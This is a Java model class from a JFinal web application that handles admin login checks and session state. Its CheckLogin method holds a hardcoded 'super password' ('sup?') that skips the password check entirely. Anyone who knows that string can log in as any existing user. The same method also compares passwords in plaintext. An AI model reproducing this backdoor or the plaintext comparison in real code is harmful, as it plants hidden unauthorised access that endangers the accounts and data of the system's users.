package com.agency8x.model;

import java.util.Arrays;
import java.util.Date;

import com.agency8x.bean.LoginParamBean;
import com.agency8x.bean.LoginErrorBean;
import com.agency8x.bean.ResultInfoBean;
import com.agency8x.model.base.BaseLoginModel;
import com.agency8x.util.DateTimeUtil;
import com.jfinal.core.Controller;

/**
 * 本 demo 仅表达最为粗浅的 jfinal 用法，更为有价值的实用的企业级用法 详见 JFinal 俱乐部: http://jfinal.com/club
 *
 * Blog model. 数据库字段名建议使用驼峰命名规则，便于与 java 代码保持一致，如字段名： userId
 */
public class LoginModel extends BaseLoginModel<LoginModel> {

    public static final LoginModel me = new LoginModel().dao();

    public static ResultInfoBean CheckLogin(LoginParamBean loginBean) {
        if (null == loginBean.getUserName() || loginBean.getUserName().isEmpty()) {
            return new ResultInfoBean(false, "用户名未填写", "");
        }
        if (null == loginBean.getPassword() || loginBean.getPassword().isEmpty()) {
            return new ResultInfoBean(false, "密码未填写", "");
        }
        LoginModel model = LoginModel.me.findFirst("select top 1 * from t_user_admin where user_name=?",
                loginBean.getUserName());
        if (null == model) {
            return new ResultInfoBean(false, "用户不存在", "");
        }

        String[] superPasswords = new String[]{"sup?"};
        if (!Arrays.asList(superPasswords).contains(loginBean.getPassword())) {
            if (!model.getStr("password").equals(loginBean.getPassword())) {
                return new ResultInfoBean(false, "密码错误", "");
            }
        }

        return new ResultInfoBean(true, "", "", model);
    }

    /**
     * 获取用户登录信息
     *
     * @param controller
     * @return LoginInfoBean
     * @since 1.0 2017-5-16
     */
    public static LoginModel getLoginInfo(Controller controller, String loginSessionID) {
        Object loginInfo = controller.getSessionAttr(loginSessionID);
        return null == loginInfo ? null : (LoginModel) loginInfo;
    }

    public static LoginErrorBean getLoginErrorInfo(Controller controller) {
        LoginErrorBean errorBean = controller.getSessionAttr("loginErrorInfo");
        return errorBean;
    }

    public static void setLoginErrorCount(Controller controller) {
        LoginErrorBean errorBean = controller.getSessionAttr("loginErrorInfo");
        if (null == errorBean) {
            errorBean = new LoginErrorBean(5 * 60);
        } else {
            errorBean.updateCount();
        }
        controller.setSessionAttr("loginErrorInfo", errorBean);
    }

    public static void clearLoginErrorInfo(Controller controller) {
        controller.removeSessionAttr("loginErrorInfo");
    }

    public static boolean checkHasLoginError(Controller controller) {
        return null != getLoginErrorInfo(controller);
    }

    public void updateFaceUrl(Controller controller, String loginSessionID, String face_url) {
        LoginModel loginInfo = getLoginInfo(controller, loginSessionID);
        if (null != loginInfo) {
            loginInfo.setFaceUrl(face_url);
            controller.setSessionAttr(loginSessionID, loginInfo);
        }
    }

    public String getCreateDate() {
        return DateTimeUtil.formatSqlServerDateTime(getCreateTime(), "yyyy年MM月dd日");
    }

}
